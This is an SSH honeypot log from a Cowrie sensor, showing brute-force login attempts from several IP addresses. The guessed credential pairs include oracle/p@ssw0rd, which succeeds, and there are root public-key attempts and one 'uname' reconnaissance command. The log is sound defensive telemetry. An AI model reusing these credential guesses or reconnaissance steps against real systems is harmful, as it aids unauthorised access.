{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":44548,"dst_ip":"10.17.0.5","dst_port":22,"session":"d83aea7c0eb3","protocol":"ssh","message":"New connection: 45.153.34.97:44548 (10.17.0.5:22) [session: d83aea7c0eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:31.681375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:31.687554Z","src_ip":"45.153.34.97","session":"d83aea7c0eb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:31.782956Z","src_ip":"45.153.34.97","session":"d83aea7c0eb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":55110,"dst_ip":"10.17.0.5","dst_port":22,"session":"81f182e367ed","protocol":"ssh","message":"New connection: 43.135.177.217:55110 (10.17.0.5:22) [session: 81f182e367ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:31.913112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:31.919196Z","src_ip":"43.135.177.217","session":"81f182e367ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:31.987866Z","src_ip":"43.135.177.217","session":"81f182e367ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zywang","message":"login attempt [root/zywang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:32.294590Z","src_ip":"43.135.177.217","session":"81f182e367ed","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"p@ssw0rd","message":"login attempt [oracle/p@ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:32.382739Z","src_ip":"45.153.34.97","session":"d83aea7c0eb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:32.694971Z","src_ip":"43.130.38.88","session":"905415c89a7e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:32.761448Z","src_ip":"45.153.34.97","session":"d83aea7c0eb3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:32.764606Z","src_ip":"45.153.34.97","session":"d83aea7c0eb3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:32.899152Z","src_ip":"45.153.34.97","session":"d83aea7c0eb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:32.904730Z","src_ip":"45.153.34.97","session":"d83aea7c0eb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:33.365858Z","src_ip":"43.135.177.217","session":"81f182e367ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.18882703781128,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:34.657165Z","src_ip":"152.42.224.71","session":"7fa33077fc65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.31.20","src_port":51232,"dst_ip":"159.203.135.109","dst_port":22,"session":"624ef78ed12b","protocol":"ssh","message":"New connection: 43.153.31.20:51232 (159.203.135.109:22) [session: 624ef78ed12b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:35.777750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:35.782290Z","src_ip":"43.153.31.20","session":"624ef78ed12b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:35.850052Z","src_ip":"43.153.31.20","session":"624ef78ed12b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp_user","password":"123","message":"login attempt [sftp_user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:36.154152Z","src_ip":"43.153.31.20","session":"624ef78ed12b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":44550,"dst_ip":"10.17.0.5","dst_port":22,"session":"56e16c6fda73","protocol":"ssh","message":"New connection: 45.153.34.97:44550 (10.17.0.5:22) [session: 56e16c6fda73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:36.219463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:36.226503Z","src_ip":"45.153.34.97","session":"56e16c6fda73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:36.309063Z","src_ip":"45.153.34.97","session":"56e16c6fda73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123123","message":"login attempt [deploy/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:36.582971Z","src_ip":"45.153.34.97","session":"56e16c6fda73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:37.224774Z","src_ip":"43.153.31.20","session":"624ef78ed12b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.114.156.169","src_port":55102,"dst_ip":"10.17.0.5","dst_port":22,"session":"42ec07644040","protocol":"ssh","message":"New connection: 167.114.156.169:55102 (10.17.0.5:22) [session: 42ec07644040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:37.627130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:37.630886Z","src_ip":"167.114.156.169","session":"42ec07644040","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:37.650227Z","src_ip":"167.114.156.169","session":"42ec07644040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:37.676204Z","src_ip":"45.153.34.97","session":"56e16c6fda73","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:05:90:5f:88:ee:31:e5:1c:69:2c:97:ac:0c:7e:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDANvYHhOOkqT/y8JFmX6x+rxnG0ksiUgnhGHsXVsvUqzygCCM2kdGii1QslYKmoA8VTxA819FRUdaW8PTnq4te8pl6VFhGdf4SAeHb2wdvC36oM8sDeDRLVvvLBGA41OHzmxNsvHg6n3dBoTXyBfT+v/NaI5H3ns/Wxm09bdSYhyuvv6BS8783h77I2/UDwMQqgV8TuUTmmlQrCPtfl3UA34vF6lklZG7qFr3GKhiW+lM3eeofNRi0q38kZGXT8XYUjHJih4ZYQr1Vov3rkQ79DUoAUATSP8oB1EsuCIKUhdRpTELEZ1eLilZVEMBxD2eJzlZ/d0S6JPN8m/bcBkrl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:05:90:5f:88:ee:31:e5:1c:69:2c:97:ac:0c:7e:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:37.729481Z","src_ip":"167.114.156.169","session":"42ec07644040","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:05:90:5f:88:ee:31:e5:1c:69:2c:97:ac:0c:7e:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDANvYHhOOkqT/y8JFmX6x+rxnG0ksiUgnhGHsXVsvUqzygCCM2kdGii1QslYKmoA8VTxA819FRUdaW8PTnq4te8pl6VFhGdf4SAeHb2wdvC36oM8sDeDRLVvvLBGA41OHzmxNsvHg6n3dBoTXyBfT+v/NaI5H3ns/Wxm09bdSYhyuvv6BS8783h77I2/UDwMQqgV8TuUTmmlQrCPtfl3UA34vF6lklZG7qFr3GKhiW+lM3eeofNRi0q38kZGXT8XYUjHJih4ZYQr1Vov3rkQ79DUoAUATSP8oB1EsuCIKUhdRpTELEZ1eLilZVEMBxD2eJzlZ/d0S6JPN8m/bcBkrl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:37.733057Z","src_ip":"167.114.156.169","session":"42ec07644040","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:a2:5e:0e:99:00:d4:aa:32:bc:6d:d3:17:60:be:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHdgAlJIR9jXNjYODhRB4d8LhH5TCzc8juvZXPCp0O3l23OJ+sQkxeXWlB4I0QiugG5hJr2ckrM/6XrzDIyagyyjy7aK8w4e00QjzAefYkJJ+UW8VTjrhiTEmMHQTMal7b7PHnTLmDhXpHbHL/CHHgKlZ4zskQSp5doXo0yIkidIyzVb6mrMMr7lcWiksseGxlzlwtfZRfc/hW6A6uSSzcrcOMXiMZvEixJoG4rqFpPd0jRoVVR9Un3gon5m1QiqXjAYrXwHEFTSJOht9rxuF9Ud1b7sZcbicWSMkWoq79yh4eIYpOtqjOOXVPVixxyKJTRhxB8818khLXCw7DfBYX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:a2:5e:0e:99:00:d4:aa:32:bc:6d:d3:17:60:be:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:37.752928Z","src_ip":"167.114.156.169","session":"42ec07644040","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:a2:5e:0e:99:00:d4:aa:32:bc:6d:d3:17:60:be:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHdgAlJIR9jXNjYODhRB4d8LhH5TCzc8juvZXPCp0O3l23OJ+sQkxeXWlB4I0QiugG5hJr2ckrM/6XrzDIyagyyjy7aK8w4e00QjzAefYkJJ+UW8VTjrhiTEmMHQTMal7b7PHnTLmDhXpHbHL/CHHgKlZ4zskQSp5doXo0yIkidIyzVb6mrMMr7lcWiksseGxlzlwtfZRfc/hW6A6uSSzcrcOMXiMZvEixJoG4rqFpPd0jRoVVR9Un3gon5m1QiqXjAYrXwHEFTSJOht9rxuF9Ud1b7sZcbicWSMkWoq79yh4eIYpOtqjOOXVPVixxyKJTRhxB8818khLXCw7DfBYX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:37.756907Z","src_ip":"167.114.156.169","session":"42ec07644040","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:c7:c1:77:d5:7b:e6:ca:c5:44:1b:1c:c1:7e:9a:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCznTLPz3ZnfiVND1jJHPt3i5vT7UnTwg8z6xjBdH4nrNv1oyNV6x8OEf3Ahajb6VAhWwn1pg+U0j9p8B2VCZotHIjdrTdXCHbbRPz+bJgLduJgCHR6JbBwYd2J6OakVoIDNr0UF4lpwqnrmBg0/0KUvN5G2JFkxkZUcxEhnhAJcxMvoeVpZXhgcMO+SOkiyn9r6yfFRek/MQA3SR88BT8+LtQjuIeLPe4cr6fRnsEjOqKgWUvWhhSWLULx9nRaQyQm9Pr5tibaEgn2fVUqri//4Qn3FxgleFLh9J4REaKlVm7nTfcVosRxo57Ma6aMN6uR5XJKcQEcG0wz31kVl6N1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:c7:c1:77:d5:7b:e6:ca:c5:44:1b:1c:c1:7e:9a:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:37.779123Z","src_ip":"167.114.156.169","session":"42ec07644040","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:c7:c1:77:d5:7b:e6:ca:c5:44:1b:1c:c1:7e:9a:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCznTLPz3ZnfiVND1jJHPt3i5vT7UnTwg8z6xjBdH4nrNv1oyNV6x8OEf3Ahajb6VAhWwn1pg+U0j9p8B2VCZotHIjdrTdXCHbbRPz+bJgLduJgCHR6JbBwYd2J6OakVoIDNr0UF4lpwqnrmBg0/0KUvN5G2JFkxkZUcxEhnhAJcxMvoeVpZXhgcMO+SOkiyn9r6yfFRek/MQA3SR88BT8+LtQjuIeLPe4cr6fRnsEjOqKgWUvWhhSWLULx9nRaQyQm9Pr5tibaEgn2fVUqri//4Qn3FxgleFLh9J4REaKlVm7nTfcVosRxo57Ma6aMN6uR5XJKcQEcG0wz31kVl6N1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:37.782494Z","src_ip":"167.114.156.169","session":"42ec07644040","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:aa:3c:e6:5e:78:e5:4a:99:39:ff:23:a3:28:79:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpJifwoGFPKSm6+HWzSPORrYSMUDA44OXLtO5CWJuLbR+oyySR6PD204Ait5mvWgTvca7e70tgNArzwhJkp8/KyXGDW4lNxk9PgqB0kl2DUO3/W8KL27bFsYdCtTc3X3fcax+B8pghJQ+zE5DtZNQl6+oJoztAqCMD8f4VAjJ6rvKQHBjKaTYje7Rwn0Qa8cid4dwMNXspCfpxLNtvA2HUmLAnn3/KOc3KfnEhqwMk6s2wi5yYmiH5PkpU+UaAePdY2ZWKV23J9ovt7V2Jq/ex+rsrR4h/uOcMZnAusZo+M/hwpEJV7aTPkUWApr4ImligNeSwcnYit/5BlTQzPmXB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:aa:3c:e6:5e:78:e5:4a:99:39:ff:23:a3:28:79:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:37.802780Z","src_ip":"167.114.156.169","session":"42ec07644040","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:aa:3c:e6:5e:78:e5:4a:99:39:ff:23:a3:28:79:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpJifwoGFPKSm6+HWzSPORrYSMUDA44OXLtO5CWJuLbR+oyySR6PD204Ait5mvWgTvca7e70tgNArzwhJkp8/KyXGDW4lNxk9PgqB0kl2DUO3/W8KL27bFsYdCtTc3X3fcax+B8pghJQ+zE5DtZNQl6+oJoztAqCMD8f4VAjJ6rvKQHBjKaTYje7Rwn0Qa8cid4dwMNXspCfpxLNtvA2HUmLAnn3/KOc3KfnEhqwMk6s2wi5yYmiH5PkpU+UaAePdY2ZWKV23J9ovt7V2Jq/ex+rsrR4h/uOcMZnAusZo+M/hwpEJV7aTPkUWApr4ImligNeSwcnYit/5BlTQzPmXB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:12:37.806542Z","src_ip":"167.114.156.169","session":"42ec07644040","protocol":"ssh"}
